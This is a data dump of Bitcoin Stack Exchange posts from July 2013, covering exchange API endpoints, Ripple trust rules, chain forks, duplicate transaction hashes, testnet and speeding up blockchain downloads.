  <row Id="11965" PostTypeId="1" AcceptedAnswerId="11974" CreationDate="2013-07-03T16:05:30.690" Score="4" ViewCount="5948" Body="&lt;p&gt;Can anyone give me the API details on how to access the prices quotes shown on home page of BTC-E.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the api link on the site does not provide details on how to access bid and ask prices. &lt;/p&gt;&#xA;" OwnerUserId="5805" LastActivityDate="2015-08-28T23:18:56.210" Title="btc-e price quotes throught api" Tags="|api|btce|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11966" PostTypeId="2" ParentId="2200" CreationDate="2013-07-03T16:09:51.427" Score="0" Body="&lt;p&gt;I don't think there's much of a benefit to merging split chains in the current implementation, since both sides of the split probably contain all the same transactions. Even if you were able to deduplicate transactions and resolve any double spends, you'd still have to store the extra copies forever in the blockchain. Where I think this gets more interesting is in a possible future where you don't expect all nodes to receive all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this could happen for performance reasons. The network could become so large that no one can handle the volume of transactions. Then we could partition the network into Blockchain USA and Blockchain Europe, or whatever. Transactions would be broadcast only to the partition they originate from, but the blocks themselves could be merged later into a single transaction history. I don't know how much savings we can really expect if we still have to transmit all blocks to all participants (since those blocks just contain the original transactions we decided were too much). But maybe they could compress better? And it might reduce the transaction volume that thin clients have to deal with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe this could happen for distance reasons. If some people on Mars start using Bitcoin, they might be as much as 20 light minutes away. With that time lag, they could send transactions, but they'd never be able to mine blocks, and their confirmation delay would be ~45 minutes. But if we created Blockchain Mars, they could have quick confirmations for Mars-&gt;Mars transactions, and they could participate in mining with their blocks merged later into Blockchain Earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose in such a setup you'd want the average-of-10-minutes-per-block difficulty adjustments to be done within each partition, so the difficulty of each network could end up being different. Not sure how you'd handle mining rewards in that case. But when a block merges multiple parents from different chains, you could count them all towards its difficulty for the purpose of determining the longest chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be curious to hear people's thoughts.&lt;/p&gt;&#xA;" OwnerUserId="5735" LastActivityDate="2013-07-03T16:09:51.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11967" PostTypeId="2" ParentId="11963" CreationDate="2013-07-03T17:26:45.967" Score="4" Body="&lt;p&gt;User A can only send IOUs that user B trusts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trust does not have to exist between A and B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if user B only trusts bitstamp for 100 USD and has 50 USD already in that wallet :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User A can send up to 50 USD to User B as long as the issuer was bitstamp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol will only allow IOUs to be sent to an address (from another address) which has a trust for them and then only up to that amount of trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is to stop an address receiving IOUs it does not want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User B might have a bitstamp account and knows how to redeem them. They do not want User A snapswap USD IOUs which you need a snapswap account to redeem to fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could of course be a path which exchanges snapswap and bitstamp USDs and so to User A it looks like they are sending their own USD but User B actually receives bitstamp USD.&lt;/p&gt;&#xA;" OwnerUserId="5729" LastActivityDate="2013-07-03T17:26:45.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11968" PostTypeId="1" CreationDate="2013-07-03T18:38:29.533" Score="2" ViewCount="3872" Body="&lt;p&gt;I want to buy bitcoins with my vef (bolivares) from my account in Venezuela.&#xA;How can I go about it?, we don't have a way of sending a wire transfer overseas in our currency.&lt;/p&gt;&#xA;" OwnerUserId="5806" LastEditorUserId="132" LastEditDate="2013-09-18T10:07:03.827" LastActivityDate="2016-08-31T01:07:21.650" Title="Buy bitcoins with my vef (bolivares) in Venezuela without wire transfer" Tags="|trading|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11969" PostTypeId="2" ParentId="11960" CreationDate="2013-07-03T18:50:21.183" Score="3" Body="&lt;p&gt;The transactions are already there when you are mining. You are hashing the block header which contains a merkle tree root that connects the list of transactions and block header together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you hash a valid block header you can't add any transactions as it would change the merkle root and the hash would not be below the current target anymore, so the block becomes invalid. This is also the reason why you can't mine in a pool and take the coins yourself if you find a valid block. That would require changing the generation transaction, which changes the merkle root, and the block is then invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is both about generating new coins (they must come from somewhere) and processing transactions (we need a ledger that everyone can agree is the one true ledger).&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-07-03T18:50:21.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11970" PostTypeId="1" CreationDate="2013-07-03T19:28:49.080" Score="0" ViewCount="585" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Bids Sum BTC Size BTC Bid Price XRP&#xA;  30.58995660   30.58995660 6,000.00000000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Asks Ask Price XRP    Size BTC Bid Price XRP&#xA;  6,000.00  29.07743420 29.07743420&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;while bids and asks match above, why the orders not getting filled? The above are top entries on each side of order book for btc/xrp since last 10 minutes in the ripple client.&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2013-07-05T07:38:00.360" Title="why ripple currency exchange trading is slow sometimes?" Tags="|ripple|ripple-gateways|ripple-client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11973" PostTypeId="2" ParentId="11968" CreationDate="2013-07-03T23:14:39.180" Score="3" Body="&lt;p&gt;There are no Bitcoin exchanges in Venezuela, and no exchanges that support BTC/VEF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find a trade by putting an offer in on LocalBitcoins, or there might be an offer to sell by someone &lt;a href=&quot;https://localbitcoins.com/location/VE/Caracas/&quot; rel=&quot;nofollow&quot;&gt;located near you&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said you can't do an international wire transfer. A bank wire (in USD, EUR, etc.) to an exhange such as Mt. Gox, BITSTAMP, etc., is not an option for you then apparently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can trade with someone in another country in your region (e.g., Colombia, Peru, Brazil, etc.) there are exchanges in those countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the use of exchanges, another method of obtaining bitcoins is to offer goods and services with payment in bitcons.  &lt;a href=&quot;http://www.turismosupremo.com&quot; rel=&quot;nofollow&quot;&gt;Turismo Surpremo&lt;/a&gt; is a business that does this.  You might even be able to buy their excess coins perhaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that working with &lt;a href=&quot;https://www.bitpagos.net&quot; rel=&quot;nofollow&quot;&gt;BitPagos&lt;/a&gt;, a payment processor that specifically targets Latin America, might yield a method to acquire coins.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-07-03T23:23:50.060" LastActivityDate="2013-07-03T23:23:50.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11974" PostTypeId="2" ParentId="11965" CreationDate="2013-07-04T01:48:52.110" Score="8" Body="&lt;p&gt;You can get any price quotes, in a JSON format, using these kinds of endpoints:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/ltc_usd/ticker&quot;&gt;https://btc-e.com/api/2/ltc_usd/ticker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/btc_usd/ticker&quot;&gt;https://btc-e.com/api/2/btc_usd/ticker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/ltc_btc/ticker&quot;&gt;https://btc-e.com/api/2/ltc_btc/ticker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The structure of the endpoint is &lt;code&gt;https://btc-e.com/api/2&lt;/code&gt; and then &lt;code&gt;currency_currency&lt;/code&gt; and then &lt;code&gt;/ticker&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-07-04T01:48:52.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11975" PostTypeId="2" ParentId="11574" CreationDate="2013-07-04T01:52:20.483" Score="1" Body="&lt;p&gt;As of July, on the wiki entry about them, they do not seem to have an API endpoint for &quot;withdraw&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BTC-E#Withdraw_options&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BTC-E#Withdraw_options&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm sure it would be helpful for arbitrage reasons.&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-07-04T01:52:20.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11976" PostTypeId="1" CreationDate="2013-07-04T02:21:12.603" Score="2" ViewCount="210" Body="&lt;p&gt;I have been trying to transfer bitcoins via mtgox's withdraw bitcoin api call with this http address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://data.mtgox.com/api/1/generic/bitcoin/send_simple&quot; rel=&quot;nofollow&quot;&gt;https://data.mtgox.com/api/1/generic/bitcoin/send_simple&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when I log the response to console I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ result: 'success',&#xA;  return: { trx: 'a748ee68583a1cedbdde694a5716909cad8feea1545e946145f48f95ced15037' } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;yet the number of bitcoins in my account remains unchanged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could possibly be causing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I'm positive my api key has the correct permissions (unless it's merchant)&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-07-04T17:55:39.680" Title="Trouble with mtgox's withdraw bitcoins api call" Tags="|mtgox|api|withdrawal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11977" PostTypeId="1" CreationDate="2013-07-04T02:25:30.680" Score="6" ViewCount="5591" Body="&lt;p&gt;I am sharing pool mining with a friend with equal cards. We are splitting what we mine in half. I also have a couple extra cards of my own. I want to have one wallet for our shared stuff and one coming from my private mining stuff. In bitcoin-qt how do I setup a wallet for the group one and a wallet for just me on the same computer?  Do I just copy in and move out wallet.dat files when I want to use one or the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what if I want to move money from one wallet to the other how would I do that?  Both wallets are on the same computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="5809" LastActivityDate="2015-02-03T21:44:27.420" Title="Bitcoin-qt multiple wallets and transferring between?" Tags="|wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11978" PostTypeId="2" ParentId="11963" CreationDate="2013-07-04T03:07:09.840" Score="5" Body="&lt;p&gt;To pay someone, say, $10, you must deliver to them an asset that &lt;em&gt;they&lt;/em&gt; have decided is worth $10. A person can never be made to hold an asset they did not agree to hold. These are core Ripple design rules that apply to all IOUs. The main reason for not allowing the &quot;harmless&quot; payment is that it might not be clear to the recipient that the payment is one he is free to ignore and this can create complexity for the recipient who may be legally obligated, for example, to refund it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a close call though. We could have allowed this kind of payment with a special flag and designed the client to show those payments in a special way, and we could have added an account flag to indicate that you refuse these kinds of payments The added complexity and risk of confusion didn't seem to be justified by any significant benefit.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-07-05T07:45:35.417" LastActivityDate="2013-07-05T07:45:35.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11979" PostTypeId="1" AcceptedAnswerId="13488" CreationDate="2013-07-04T06:51:57.653" Score="7" ViewCount="548" Body="&lt;p&gt;Occasionally, a Bitcoin client will come across a fork of blocks that is longer than the chain it is currently on. Depending on how often orphaned blocks occur, this could be quite often. When this happens, any internal data structures relating to the &quot;current&quot; state of the blockchain (for example, a hashtable of unspent outputs) need to be updated to reflect the state of the new, longer fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this accomplished? Is history played &quot;backwards&quot; to the most recent common ancestor and then &quot;forwards&quot; to the new top block? Is it all just reconstructed from scratch?&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="5406" LastEditDate="2023-10-20T17:18:59.867" LastActivityDate="2023-10-20T17:18:59.867" Title="How does a Bitcoin client efficiently change forks?" Tags="|blockchain-fork|database|chain-reorganization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11980" PostTypeId="1" CreationDate="2013-07-04T07:09:23.333" Score="2" ViewCount="132" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10602/75&quot;&gt;this answer here&lt;/a&gt;, it's stated that Bitcoin uses a hashtable of all currently unspent outputs, in order to verify that the inputs of transactions haven't already been spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this interact with forks? If the Bitcoin client receives some blocks that go at the end of a fork that isn't the longest fork (perhaps, once they have all been verified, the new fork will be longer), how does it know what outputs are unspent in the fork that the blocks are being added to? A hashtable of unspent outputs in the current longest fork won't cut it.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="5406" LastEditDate="2018-05-04T17:18:18.997" LastActivityDate="2018-05-04T17:18:18.997" Title="How are transactions in forks verified efficiently?" Tags="|blockchain|block|blockchain-fork|chain-reorganization|architecture|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11982" PostTypeId="1" CreationDate="2013-07-04T12:57:28.773" Score="2" ViewCount="155" Body="&lt;p&gt;Say I build some software around the Bitcoin system and I would like to try stuff without having to earn real BTC first, and without having to employ a lot of hashing power to grow the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the bitcoin clients connect to the network to get the authoritative block chain, so it seems I can't set up a toy network easily. Or can I? I would assume developers of the clients would need some way of testing their software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I am a software developer, and familiar with stuff like modifying source and rebuilding the client, the point of this exercise would be to run unaltered clients in a dummy environment.&lt;/p&gt;&#xA;" OwnerUserId="5751" LastEditorUserId="5751" LastEditDate="2013-07-08T12:42:24.690" LastActivityDate="2013-08-07T13:00:14.043" Title="(How) can I run standard clients on a &quot;toy&quot; block chain?" Tags="|client|bitcoin-core|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11983" PostTypeId="2" ParentId="11982" CreationDate="2013-07-04T13:00:00.360" Score="1" Body="&lt;p&gt;This seemed to be a newbie question. There is what is called a &quot;testnet&quot;, and there is more info on the Wiki at: &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site has a specific tag for it, as well: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/tagged/testnet&quot;&gt;https://bitcoin.stackexchange.com/questions/tagged/testnet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5751" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-07-04T13:00:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11984" PostTypeId="2" ParentId="11976" CreationDate="2013-07-04T17:01:00.753" Score="1" Body="&lt;p&gt;The problem I was having had to do with formatting. In the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Withdraw_bitcoins&quot; rel=&quot;nofollow&quot;&gt;api documentation&lt;/a&gt; there is an &lt;code&gt;amount_int&lt;/code&gt; param which needs to be passed with the &lt;code&gt;http&lt;/code&gt; request. I had forgotten that mtgox requires anything with &lt;code&gt;_int&lt;/code&gt; postfixing to be in the form &lt;code&gt;amount * 10 ^ 8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so for example if you were trying to send 0.01 bitcoins for the &lt;code&gt;amount_int&lt;/code&gt; field you would put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.01 * 10 ^ 8 = 1000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-07-04T17:55:39.680" LastActivityDate="2013-07-04T17:55:39.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11986" PostTypeId="1" AcceptedAnswerId="13137" CreationDate="2013-07-04T19:33:35.533" Score="6" ViewCount="456" Body="&lt;p&gt;What is the cheapest hardware device that can run a proper bitcoin client that can participate in the P2P network?&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorUserId="2306" LastEditDate="2017-04-25T19:51:40.993" LastActivityDate="2017-04-25T19:51:40.993" Title="What is the cheapest device that can run a proper bitcoin client?" Tags="|bitcoind|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11987" PostTypeId="1" CreationDate="2013-07-04T20:59:16.097" Score="4" ViewCount="397" Body="&lt;p&gt;I couldn't find the specifics on how would one get more coins with PoS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that with PoW one gets more coins by having more hashing power and running software like &lt;code&gt;cgminer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With PoS, I need to have more coins, and… what else? Just have the client open? If that's the case, it's kind of risky, isn't it? I mean I would have to have my private keys in an online machine?&lt;/p&gt;&#xA;" OwnerUserId="5068" LastEditorUserId="5406" LastEditDate="2016-02-17T20:41:41.193" LastActivityDate="2016-02-17T20:41:41.193" Title="How can I generate more coins while mining on PoS?" Tags="|mining-reward|proof-of-stake|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11988" PostTypeId="2" ParentId="11955" CreationDate="2013-07-04T23:22:36.323" Score="1" Body="&lt;p&gt;If you've forgotten the password you'd set for the wallet, you'll probably won't be able to unencrypt/unlock your wallet nor spend your coins.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-07-04T23:22:36.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11989" PostTypeId="2" ParentId="11392" CreationDate="2013-07-04T23:27:32.583" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;http://bitcoinswithfriends.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinswithfriends.com&lt;/a&gt; where people can lend Bitcoins to friends they have on Facebook.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-07-04T23:27:32.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11990" PostTypeId="1" AcceptedAnswerId="17914" CreationDate="2013-07-05T01:00:08.763" Score="4" ViewCount="1552" Body="&lt;p&gt;The title says it all: every time I open Armory, it appears to rescan the entire block chain (after synchronizing). Why can't it just keep a file that says if any blocks contain transactions for my wallets, or something similar?&lt;/p&gt;&#xA;" OwnerUserId="5546" LastActivityDate="2013-12-04T01:37:35.677" Title="Why does Armory rescan the block chain every time it opens?" Tags="|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11991" PostTypeId="2" ParentId="11954" CreationDate="2013-07-05T01:30:09.947" Score="5" Body="&lt;p&gt;Blockchain has a chart of new addresses per day:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/n-unique-addresses&quot;&gt;http://blockchain.info/charts/n-unique-addresses&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5816" LastActivityDate="2013-07-05T01:30:09.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11992" PostTypeId="1" CreationDate="2013-07-05T03:57:46.060" Score="-1" ViewCount="423" Body="&lt;p&gt;I have a new question about the ability to play and to use the bitcoin for that.&#xA;Can one play online casino games using the bitcoin currency ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5817" LastActivityDate="2013-09-15T17:02:38.523" Title="Casino games using bitcoins" Tags="|client|gambling|" AnswerCount="4" CommentCount="1" ClosedDate="2013-09-16T18:34:01.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="11994" PostTypeId="2" ParentId="11970" CreationDate="2013-07-05T07:38:00.360" Score="1" Body="&lt;p&gt;Nothing ever happens in Ripple unless some transaction initiates it. Precisely matching orders are permitted under some circumstances to provide enhanced liquidity. The primary purpose of order books in Ripple is to provide liquidity for payments. Having matching offers on the books permits payments in either direction with zero spread.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-07-05T07:38:00.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11998" PostTypeId="2" ParentId="11992" CreationDate="2013-07-05T14:00:26.707" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.luckybitcoincasino.com&quot; rel=&quot;nofollow&quot;&gt;https://www.luckybitcoincasino.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://satoshibet.com&quot; rel=&quot;nofollow&quot;&gt;https://satoshibet.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to list just a few !!! there are many online casinos accepting Bitcoin. :) hope this helps&lt;/p&gt;&#xA;" OwnerUserId="5824" LastEditorUserId="4138" LastEditDate="2013-07-06T20:52:49.770" LastActivityDate="2013-07-06T20:52:49.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11999" PostTypeId="1" AcceptedAnswerId="12000" CreationDate="2013-07-05T17:49:49.730" Score="8" ViewCount="2138" Body="&lt;p&gt;I've noticed that there are two transaction hashes that appear more than once in the blockchain. The reason for this is understandable: they sent mining rewards to the same address. These transactions had the same inputs (none) and the same outputs (one 50 BTC output to the specified address). However, this does cause a problem when you're trying to work with transaction data, as the transaction hashes cannot be considered unique identifiers of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was briefly discussed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3030/two-blocks-two-transactions-same-hash&quot;&gt;here&lt;/a&gt;, but the discussion was based more on block validity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This actually led to a bug that caused an overwrite of the older transaction, which was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67738.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;fixed&lt;/a&gt; in the 0.6.0 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were a few BitcoinTalk threads about one of these occurrences:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=9680.0;wap2&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinTalk&lt;/a&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=63308.30;wap2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Other BitcoinTalk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first of these threads, Gavin Andresen seems to suggest that the newer transaction's output can't be spent by saying &quot;Ooh!  Ooh!  50 more bitcoins for the 'Bitcoins Lost Forever' thread!&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two transaction hashes that have appeared more than once in the blockchain are:&#xA;d5d27987d2a3dfc724e359870c6644b40e497bdc0589a033220fe15429d88599&#xA;e3bf3d07d4b0375638d5f1db5255fe07ba2c4cb067cd81b84ee974b6585fb468&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can these transaction outputs be spent? Why, or why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should mention that I checked, and as of July 5, 2013, none of the transactions' outputs have been spent.&lt;/p&gt;&#xA;" OwnerUserId="5306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-03T08:49:21.687" Title="Can the outputs of transactions with duplicate hashes be spent?" Tags="|protocol|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12000" PostTypeId="2" ParentId="11999" CreationDate="2013-07-05T19:07:12.737" Score="6" Body="&lt;p&gt;&lt;em&gt;Updated as my earlier answer was wrong&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0030&quot; rel=&quot;noreferrer&quot;&gt;BIP 0030&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blocks are not allowed to contain a transaction whose identifier matches that of an earlier, not-fully-spent transaction in the same chain.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This rule is to be applied to all blocks whose timestamp is after a point in time&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that a transaction can have the same hash multiple times as long as it's always spent first before the new transaction is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the older transactions: they are valid but the network won't let you spend them because the implementation in the reference client won't let you.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-07-05T19:31:27.123" LastActivityDate="2013-07-05T19:31:27.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12001" PostTypeId="1" AcceptedAnswerId="12002" CreationDate="2013-07-05T20:21:41.350" Score="15" ViewCount="20982" Body="&lt;p&gt;How to download the blockchain with full bandwidth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to download the blockchain fast?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="4138" LastEditDate="2013-07-06T20:52:44.333" LastActivityDate="2016-04-05T01:39:26.180" Title="What is the fastest possible way to download the blockchain?" Tags="|blockchain|blockchain.info|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12002" PostTypeId="2" ParentId="12001" CreationDate="2013-07-05T20:21:41.350" Score="11" Body="&lt;p&gt;To &lt;strong&gt;download the blockchain with maximal speed&lt;/strong&gt; you want to be connected to &lt;strong&gt;nodes with high bandwidth&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On default bitcoin will search and connect to random nodes. One can add nodes to bitcoin conf to tell bitcoin to connect to specific nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a node to the bitcoin client to connect to, add the following to the bitcoin.conf file in:&#xA;Windows:&lt;code&gt;/appdata/roaming/bitcoin/bitcoin.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux: &lt;code&gt;$USER/.bitcoin/bitcoin.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADD THIS TO BITCOIN.CONF&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addnode=127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find high bandwidth nodes go to: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;blockchain.info/hub-nodes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;for example and browse the hub nodes section.&#xA;It is not required to add the node port, bitcoind will find the correct port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;....&#xA;Enjoy downloading at full speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: since the question / answer gained such an attention i decided to make this a community wiki :)&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2167" LastEditDate="2016-04-05T01:39:26.180" LastActivityDate="2016-04-05T01:39:26.180" CommentCount="4" CommunityOwnedDate="2016-04-05T01:39:26.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="12003" PostTypeId="2" ParentId="10807" CreationDate="2013-07-05T20:34:54.037" Score="0" Body="&lt;p&gt;Bitcoin blockchain download is slow because on default bitcoind will connect to random nodes (home connections for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12001/what-is-the-fastest-possible-way-to-download-the-blockchain&quot;&gt;What is the fastest possible way to download the blockchain?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.... too accelerate the download.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-07-05T20:34:54.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
